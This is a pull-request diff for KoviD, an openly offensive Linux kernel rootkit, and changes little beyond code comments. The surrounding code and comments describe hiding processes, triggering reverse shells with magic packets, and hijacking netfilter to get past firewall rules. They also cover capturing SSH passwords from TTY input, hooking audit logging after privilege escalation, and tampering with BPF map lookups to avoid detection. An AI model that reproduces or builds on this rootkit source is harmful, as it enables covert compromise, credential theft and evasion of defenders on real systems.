Merge pull request #78 from carloslack/kvdev

Try to improve comments a bit

src/kovid.c

@@ -121,7 +121,7 @@ struct module_sect_attrs {
 /*
  * sysfs restoration helpers.
  * Mostly copycat from the kernel with
- * slightly modifications to handle only a subset
+ * light modifications to handle only a subset
  * of sysfs files
  */
 static ssize_t show_refcnt(struct module_attribute *mattr,
@@ -412,14 +412,12 @@ static ssize_t _seq_read(struct file *fptr, char __user *buffer,
 
     return len;
 }
-
-/**
- * removes proc interface
- * after a certain amount of time passes,
- * can be re-activated with magic kill
- * Important to have this as I dump
- * rmmod magic key on it so to unload
- * kv you'll need to know what you are doing
+/*
+ * This function removes the proc interface after a
+ * certain amount of time has passed.
+ * It can be re-activated using a magic
+ * kill signal. It's important to have this feature
+ * because the `rmmod` magic key has been dumped on it.
  */
 static int proc_timeout(unsigned int t) {
     static unsigned int cnt = PRC_TIMEOUT;
@@ -455,7 +453,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
     pid = (pid_t)simple_strtol((const char*)buf, NULL, 10);
     /**
      * Please, INIT is a no-goer
-     * Tip: stay safer by avoiding to hide
+     * Tip: stay safe by avoiding to hide
      * system tasks
      */
     if(pid > 1)

src/pid.c

@@ -106,10 +106,9 @@ static void _cleanup_node_list(struct task_struct *task) {
     }
 }
 
-/**
- * If the task being unhidden is a backdoor then
- * it must be killed, in no way I want a backdoor
- * hanging around
+/*
+ * If the task being unhidden is a backdoor, it must be terminated to ensure
+ * there are no lingering backdoors left active.
  */
 static inline void _kill_task(struct task_struct *task) {
     if(!send_sig(SIGKILL, task, 0) == 0)
@@ -133,14 +132,16 @@ static int _unhide_task(void *data) {
     kaddr->k_attach_pid(task, PIDTYPE_PID);
 #endif
 
-    /**
-     * For active backdoors, saddr should match the active outgoing
-     * connection. In sock.c I keep references for them in a list,that is needed
-     * because of active nf hooks that bypass the local firewall, so for each packet
-     * coming to a destination I can distinguish if that packet belongs to a backdoor.
-     * If there are nettfilter rules blocking that connection, they will be bypassed and
-     * the connection will flow normally, but if the backdoor task is being unhidden then
-     * I need to cleanup that reference because the task will be killed right after.
+    /*
+     * For active backdoors, 'saddr' should match the active outgoing
+     * connection. In sock.c, references for these backdoors are maintained in a list.
+     * This is necessary due to active nf hooks that bypass the local firewall.
+     * This list allows for distinguishing packets that belong to a backdoor.
+     *
+     * If there are netfilter rules blocking the connection, they will be bypassed,
+     * and the connection will proceed as normal. However, when a backdoor task
+     * is being unhidden, the reference to that task needs to be cleaned up
+     * since the task will be terminated shortly.
      */
     if (ht->saddr) {
         kv_bd_cleanup_item(&ht->saddr);
@@ -166,15 +167,15 @@ static void _select_children(struct task_struct *task) {
     struct list_head *list;
     struct to_hide_tasks *tht = kcalloc(1, sizeof(struct to_hide_tasks), GFP_KERNEL);
 
-    /**
-    *  So here I first get the list of children and in
-    *  _fetch_children_and_hide_tasks() I traverse the list in
-    *  reverse, hiding one by one. Safer than the obvious approach
-    *  which would be to simultaneously list & hide
-    *
-    * However the cost of this operation, this is called
-    * only from userland interface
-    */
+    /*
+     * Here, I begin by obtaining the list of child tasks.
+     * In the _fetch_children_and_hide_tasks() function, I iterate through this list
+     * in reverse order, hiding one task at a time. This method is chosen for safety
+     * reasons, as it's safer than simultaneously listing and hiding tasks.
+     *
+     * It's worth noting that this operation is relatively costly and is exclusively
+     * invoked from the userland interface.
+     */
     if (tht) {
         tht->task = task;
         list_add_tail(&tht->list, &children_node);
@@ -444,18 +445,15 @@ bool kv_for_each_hidden_backdoor_data(bool (*cb)(__be32, void *), void *priv) {
     return false;
 }
 
-/**
- * This function runs once at init time
- * Ideally this will hide a network application such
- * as a tunnel or an external backdoor-like application,
- * other than the built-in ones
- *
- * It scans all processes running on the system
- * at the time kovid is loaded.
+/*
+ * This function runs once during initialization.
+ * Its primary purpose is to hide network applications, such as tunnels
+ * or external backdoor-like applications, except for the built-in ones.
  *
- * Network applications handled here will have
- * their connections hidden as well
- * @see netapp.h
+ * It performs a comprehensive scan of all processes that are running on
+ * the system when KoviD module is loaded. It is important to note
+ * that this function also conceals the connections of network applications.
+ * For more information, refer to 'netapp.h'.
  */
 void kv_scan_and_hide_netapp(void) {
     struct task_struct *t;

src/sock.c

@@ -306,26 +306,24 @@ bool kv_bd_established(__be32 *daddr, int dport, bool established) {
     struct iph_node_t *node, *node_safe;
 
     list_for_each_entry_safe_reverse(node, node_safe, &iph_node, list) {
-        /**
-         * Storing saddr is done at the moment the magic packets are
-         * received by pre-routing netfilter hook.
-         * The client sends a packet with special flags set and source address
-         * is the hint that says: connect to this address and port.
+        /*
+         * We store 'saddr' when we receive magic packets in the pre-routing
+         * netfilter hook. These packets have special flags and a source address
+         * that serves as a hint to connect to a specific address and port.
          *
-         * That will trigger a local application, socat, nc, etc that will
-         * attempt to connect to that particular address:port. When that happens
-         * we'll hook those packets in our local out netfilter hook and check
-         * the matching here. Packets coming to local out filter will be destined
-         * to the same address:port set in pre-routing, but this time they are
-         * daddr:dport, hence the swapped check you see here.
+         * A local application like 'socat' or 'nc' will attempt to connect to
+         * the hinted address:port. Our local out netfilter hook will intercept
+         * these packets, and we check for matches here.
+         *
+         * Incoming packets to the local out filter are bound for the same
+         * address:port set in pre-routing, but this time, they have
+         * daddr:dport, leading to the swapped check you see here.
          */
         if (node->iph->saddr == *daddr && htons(node->tcph->source) ==  dport) {
-            /**
-             * Make sure to mark established only once per-connection so
-             * they will not loose state.
-             * This will make internal references to be kept until
-             * connections are closed by clients, when tasks are revealed, data
-             * freed and reverse shell(s) killed.
+            /*
+             * Mark connections as "established" only once per connection to retain state.
+             * This ensures that internal references persist until other end close connections.
+             * Upon revealing tasks, data is freed, and reverse shells are terminated.
              */
             node->established = established;
 
@@ -489,23 +487,11 @@ static unsigned int _sock_hook_nf_cb(void *priv, struct sk_buff *skb,
     return rc;
 }
 
-/**
- * Let's suppose the target has a local netfiler rule similar to the following:
- *
- *  target     prot opt source               destination
- *  DROP       tcp  --  anywhere             <    IP    >         tcp dpt:<port>
- *
- *  Q: How are we supposed to establish a reverse shell to IP:port?
- *  A: By hijacking the netfilter stack: stealing the packet and calling okfn()
+/*
+ * This section deals with hijacking netfilter rules to establish reverse shells. It allows us
+ * to send packets to the wire by bypassing the firewall. An important aspect is managing
+ * internal backdoors: states, data lifecycle, synchronization, and more. The high-level process:
  *
- *  NF_STOLEN packets will not continue their route through the chain, hence technically
- *  they will not be blocked but would go nowhere either, unless okfn() is used: to
- *  send the packet out to the wire.
- *
- *  Part of the implementation is dedicated to internal backdoors management: keeping states,
- *  data lifetime, synchronization and more.
- *
- *  Here is a high-level diagram:
  *  .---------------..--------------.      .---------.      .------------.         .-----------..------------------.
  *  |Hacker bdclient||kv pre-routing|      |kv filter|      |revshell app|         |kv inet-out||kv bypass firewall|
  *  '---------------''--------------'      '---------'      '------------'         '-----------''------------------'
@@ -539,16 +525,12 @@ static unsigned int _sock_hook_nf_fw_bypass(void *priv, struct sk_buff *skb,
         case IPPROTO_TCP: {
                 struct tcphdr *tcph = (struct tcphdr *)skb_transport_header(skb);
                 int dstport = htons(tcph->dest);
-                /**
-                 * include/net/tcp_states.h
-                 * sk_state carries current connection state of the packet, at this point in time.
-                 * What I look for here are for TCP_ESTABLISHED packets that will tell me that, well,
-                 * the connection has been completed, therefore that indicates that I can keep the
-                 * state and addresses for this connection.
-                 *
-                 * The established state will only be recorded the first time it comes here and
-                 * are kept throughout backdoor's lifetime.
-                 * */
+                /*
+                 * The `sk_state` in include/net/tcp_states.h represents the current connection state of a packet.
+                 * When a packet is in the TCP_ESTABLISHED state, it signifies that the connection has completed.
+                 * This information is crucial for retaining the state and addresses of this connection, which is
+                 * stored throughout the lifetime of the backdoor.
+                 */
                 if (kv_bd_established(&iph->daddr,
                             dstport, (skb->sk->sk_state == TCP_ESTABLISHED))) {
                     /**
@@ -651,12 +633,11 @@ void kv_sock_stop_fw_bypass(void) {
         nf_unregister_net_hook(&init_net, &ops_fw);
     }
 
-    /**
-     * Established connections are kept in
-     * iph_node until one of them terminates, or
-     * KoviD is unloaded. Key here is to always make
-     * sure if one BD client exits, all remaining ones
-     * are terminated too.
+    /*
+     * Established connections are maintained in `iph_node` until
+     * one of them terminates or until KoviD is unloaded.
+     * It's essential to ensure that if one backdoor (BD) client exits,
+     * all remaining ones are terminated as well.
      */
     _bd_cleanup(true);
 }

src/sys.c

@@ -50,19 +50,14 @@ static struct file *ttyfilp;
 static DEFINE_SPINLOCK(tty_lock);
 static DEFINE_SPINLOCK(hide_once_spin);
 
-/*
- *  task
- *      |
- *      +--- hidden No -> normal flow
- *      |
- *      +--- hidden Yes
- *              |
- *              +--- Backdoor Yes
- *              |         |
- *              |        +--- unhide all backdoors -> kill all backdoors
- *              +--- Backdoor No
- *                      |
- *                      +--- unhide task
+/**
+ * task
+ * ├── hidden No → normal flow
+ * └── hidden Yes
+ *     └── Backdoor Yes
+ *         ├── unhide all backdoors → kill all backdoors
+ *     └── Backdoor No
+ *         ├── unhide task
  */
 static asmlinkage long m_exit_group(struct pt_regs *regs)
 {
@@ -92,12 +87,12 @@ static asmlinkage long m_exit_group(struct pt_regs *regs)
 }
 
 
-/**
- * task A (parent of B) <- hidden by hax0r
+/*
+ * task A (parent of B) <- hidden
  *     |
- *     + (clone) --- Task B (child, parent of C) <- hidden by sys_clone if A is hidden
- *               |
- *               + (clone) --- Task C (child) <- hidden by sys_clone if B is hidden
+ *     ├ (clone) --- Task B (child, parent of C) <- hidden by sys_clone if A is hidden
+ *     |      |
+ *     |      └ (clone) --- Task C (child) <- hidden by sys_clone if B is hidden
  *
  * See m_exit_group()
  */
@@ -256,13 +251,13 @@ static asmlinkage long m_bpf(struct pt_regs *regs) {
             goto out;
         }
 
-        /**
-         * In order to extract the value we must unwrap
+        /*
+         * To extract the value, we must traverse the stack:
          * sys_bpf -> __sys_bpf -> map_lookup_elem
-         * In other words, recover the user ptr that is
-         * about to be returned to userspace, read, modify
-         * and write it back, hopefully, nullified if
-         * there is a match.
+         * In simpler terms, we need to recover the user pointer
+         * that is about to be returned to userspace. We'll then
+         * read, modify, and write it back. The goal is to nullify
+         * it if there's a match, ensuring it doesn't get used.
          */
         if (attr->map_type == BPF_MAP_TYPE_PERF_EVENT_ARRAY) {
             u32 id;
@@ -568,9 +563,8 @@ static struct audit_buffer *m_audit_log_start(struct audit_context *ctx,
 
     const struct cred *c = current->real_cred;
     /**
-     *  We'll trigger this KauditD log when executing
-     *  certain operations after privilege escalation.
-     *  Legit root may not actually follow this code path
+     * This KauditD log is triggered during specific operations after privilege escalation.
+     * Legitimate root users may not follow this code path.
      */
     if (!c->uid.val && !c->gid.val && !c->suid.val &&
             !c->sgid.val && !c->euid.val && !c->egid.val &&
@@ -616,12 +610,13 @@ static void _tty_write_log(uid_t uid, pid_t pid, char *buf, ssize_t len) {
     size_t total;
 
     /**
-     * +16 is enough to hold "uid.%d" length
-     * Here using VLA because the implementation of kernel_write
-     * make a forced conversion to user ptr. I suspect that
-     * if the variable is heap allocated, the pointer will be lost.
+     * We use a variable-length array (VLA) because the implementation of kernel_write
+     * forces a conversion to a user pointer. If the variable is heap-allocated, the
+     * pointer may be lost.
+     *
+     * VLA generates a warning since we're not in C99, but it's necessary for our use case.
      *
-     * VLA will generate a warning as we're not c99, that's life.
+     * We allocate +16 bytes, which is enough to hold "uid.%d".
      */
     char ttybuf[len+16];
 
@@ -776,10 +771,11 @@ static ssize_t m_tty_read(struct kiocb *iocb, struct iov_iter *to)
         flags |= (byte == '\n') ? R_NEWLINE : flags;
 
         /**
-         * this is hacky but ssh session data
-         * comes byte a byte most of the time but can also come in as
-         * multi-byte stream, for example, when a password
-         * it is a password
+         * This implementation might appear a bit unconventional, but
+         * it's designed to handle SSH session data. The data typically
+         * arrives byte by byte, but there are instances when it comes
+         * as a multi-byte stream, for example, during password input.
+         * It's particularly tailored for handling passwords.
          */
         if ((app_flag & APP_FTP) && rv > 1) {
             ttybuf[strcspn(ttybuf, "\r")] = '\0';

src/vm.c

@@ -3,6 +3,14 @@
 #include <linux/tcp.h>
 #include "lkm.h"
 
+/**
+ * Returns the starting virtual memory address of
+ * the ELF executable for a specified process.
+ * This function takes a process ID (PID) as
+ * input and retrieves the virtual memory area (VMA)
+ * corresponding to the ELF executable in
+ * that process's memory map.
+ */
 unsigned long kv_get_elf_vm_start(pid_t pid) {
     struct vm_area_struct *vma;
     struct task_struct *tsk;